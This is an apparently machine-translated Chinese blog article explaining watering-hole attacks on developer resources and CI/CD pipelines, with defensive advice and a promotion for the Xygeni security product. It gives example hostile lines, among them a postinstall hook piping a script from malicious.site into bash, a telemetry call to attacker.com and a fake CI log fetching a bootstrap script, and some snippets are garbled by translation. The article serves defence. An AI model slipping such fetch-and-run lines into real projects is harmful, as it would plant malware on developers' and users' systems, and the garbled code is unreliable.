构建后门
构建成功,服务部署成功。一切看起来都很顺利。但实际上,其中隐藏着一个从受感染源中提取的中毒依赖项。这是典型的水坑攻击。
在这种情况下,攻击者并没有侵入你的基础设施。他们等待开发者访问他们已经入侵的可信资源、文档网站、软件包仓库或 SDK 下载页面。恶意代码进入了你的 pipeline 使用简单的拉取或安装命令。
一旦产品发布,攻击者就会在生产环境中悄无声息地站稳脚跟。而你的 CI/CD pipeline 只是帮助他们到达那里。
什么是水坑攻击(以及开发人员为何应该关注)
那么,什么是水坑攻击?它指的是攻击者入侵开发人员或团队已经信任的资源。他们不会直接攻击你,而是破坏你可能使用的常用网站或代码库,然后等待有人上钩。
水坑攻击不同于通常以凭证为目标的网络钓鱼,也不同于将恶意代码注入软件包主仓库的上游供应链攻击。水坑攻击的威胁来自您周围的生态系统:添加后门的文档、被木马替换的 SDK 二进制文件,或提供篡改版本的软件包注册表。
开发资源是主要攻击目标:包管理器(npm、pip、Maven)、公共 GitHub 仓库、看似官方的 Docker 镜像以及下载页面。如果其中任何一个被攻破,攻击者就已经侵入了你的开发流程。
陷阱埋在哪里:真正的以开发为中心的案例 水坑攻击
水坑攻击有多种形式。以下是一些躲过开发人员攻击的方法:
- 文档网站遭入侵:
从‘malicious-lib’导入{init};
初始化({遥测:'https://attacker.com'});
文档中一个合法的示例被细微地修改了。开发人员复制、粘贴,然后继续。
- 公开 PR 中的恶意安装后脚本:
{
"scripts": {
"postinstall": "curl -s https://malicious.site/agent.sh | bash"
}
}
看起来像是一个有用的 PR,但它会悄悄地安装恶意软件。
- 被木马感染的 SDK 二进制文件:
./sdk-install.sh # 包含隐藏的第二阶段加载程序
二进制文件从看似可信的 URL 下载,但已被更改。 - 操纵 Docker 基础镜像:
来自节点:slim-malicious - 运行 bash /tmp/hidden-installer.sh
图像名称看起来正确,但它托管在被劫持或欺骗的注册表上。
所有这些水坑攻击都依赖于开发人员的信任和快速移动的工作流程来避免被发现。
从笔记本电脑到 Pipeline:感染如何传播
水坑攻击并不会止步于浏览器。 一旦恶意代码进入本地环境,它可以悄无声息地穿越你的整个交付链:
- 开发人员访问受损资源(文档、repo、SDK 站点)。
- 恶意代码进入本地开发环境。
- 受感染的文件或依赖项被添加到 commit 并推。
- CI/CD 作业使用这些受损组件运行构建和安装步骤。
- 该工件被运送和部署,将攻击者的代码嵌入到生产中。
这个链条可以在数小时内展开,特别是在高速运转的团队中。
为了形象化这一点,想象一下 pipeline 追踪感染路径的图表:
- 开发工作站:编辑器、终端、安装脚本。
- 源代码控制: Commits、PR、合并。
- CI Pipeline:依赖项安装、脚本执行、图像构建。
- 生产部门:工件发布、部署和用户访问。
在每个步骤中,如果没有正确的保护措施,水坑攻击都可能不被察觉。
真实风险情景 CI/CD
水坑攻击不仅仅针对开发机器。它们会利用你的 pipeline 对你不利。真正的风险包括:
- 受损的基础镜像:
从 攻击者注册中心
构建期间添加了隐藏的恶意软件。 - 获取取消固定的脚本或工具:
curl -s https://pkg.example.com/latest.sh | bash
“最新”可能随时改变,特别是当 DNS 被劫持时。 - 受感染的 CI 日志 (例子):
[+] 安装工具…
[+] 从 https://tools.fakecdn.net/bootstrap.sh 获取
[+] 构建完成。
表面上看起来一切正常。但有效载荷已经在工件中了。
水坑攻击如何滥用信任 CI/CD 环境位于外部源和脚本中。
打破 水坑攻击 Chain:开发者端防御
为了尽早阻止水坑攻击,你需要加强开发实践。攻击预防必须在代码进入你的系统之前就开始。 CI/CD pipeline:
- 引脚依赖关系:避免使用浮动标签,例如 最新. 使用锁文件来确保确定性的构建。
- 验证校验和:验证所有远程脚本、二进制文件和包。
- 使用私人镜像:镜像关键软件包注册表,以防止暴露于受损的上游源。
- 验证基础镜像:使用图像摘要(@sha256)而不是标签。使用前请扫描所有图像。
- 运行 SCA/SAST 预合并:在您的 PR 工作流程中自动执行扫描,以尽早发现威胁。
- 使用 Git hooks:在高风险更改进入版本控制之前检测并阻止它们。
- 对待 第三方代码 像不受信任的输入:即使是广泛使用的图书馆也可能存在隐藏的风险。
安全性必须嵌入到开发人员的工作流程中。这些习惯和控制措施有助于在水坑攻击升级之前将其阻止。
实地经验教训
案例 1:Event-Stream(npm)
一位值得信赖的维护者移交了一个热门软件包的控制权。新的维护者添加了一个依赖项,悄悄窃取了加密钱包数据。
- 失败之处:没有对传递依赖关系的审查。
- 课:使用自动化 SCA 跟踪和标记间接依赖关系的变化。
案例2:Codecov Bash上传器
攻击者修改了许多 CI 中使用的 bash 脚本 pipeline它从 CI 环境中窃取了机密。
- 失败之处:无校验和验证。
- 课:在运行下载的工具之前,务必验证它们 CI/CD.
两次袭击都是水坑袭击。两次袭击本来都可以更早被阻止。
预防实践:DevSecOps 思维方式与工具
防止水坑攻击意味着建立具有安全意识的开发者文化:
- 安全左移:培训开发人员质疑意外脚本、依赖项更改或安装步骤。
- 自动化 SCA/SAST: 使用 工具 集成到 PR 工作流程中以防止已知的漏洞和风险模式。
- 随处使用哈希验证:任何外部资源在执行之前都应进行验证。
- 实时监控:仅靠预防是不够的。
像工具一样 西吉尼 提供整个软件供应链的实时可见性。Xygeni 持续监控开发者环境、Git 活动、CI pipelines 和工件注册表来检测:
- 异常依赖性变化。
- 构建脚本中的可疑修改。
- 对第三方来源的访问模式异常。
借助 Xygeni,团队可以在水坑攻击传播之前阻止其传播,并在出现漏洞时追踪入侵源头。它专为现代 CI/CD 环境,重点关注可操作的警报和开发人员优先的可用性。
最后说明:快速 Pipelines,更快的风险
现在你知道了 什么是水坑攻击 你知道他们不需要直接入侵你的基础设施。他们通过毒害开发者已经信任的工具和网站来获得成功。从那以后, 您的 CI/CD pipeline 可以成为攻击者的分发系统.
真正的风险不仅仅是妥协,而是恶意代码通过你的 pipeline.
将安全检查集成到您的开发流程中,而不是事后才考虑。因为一旦发布,就为时已晚。





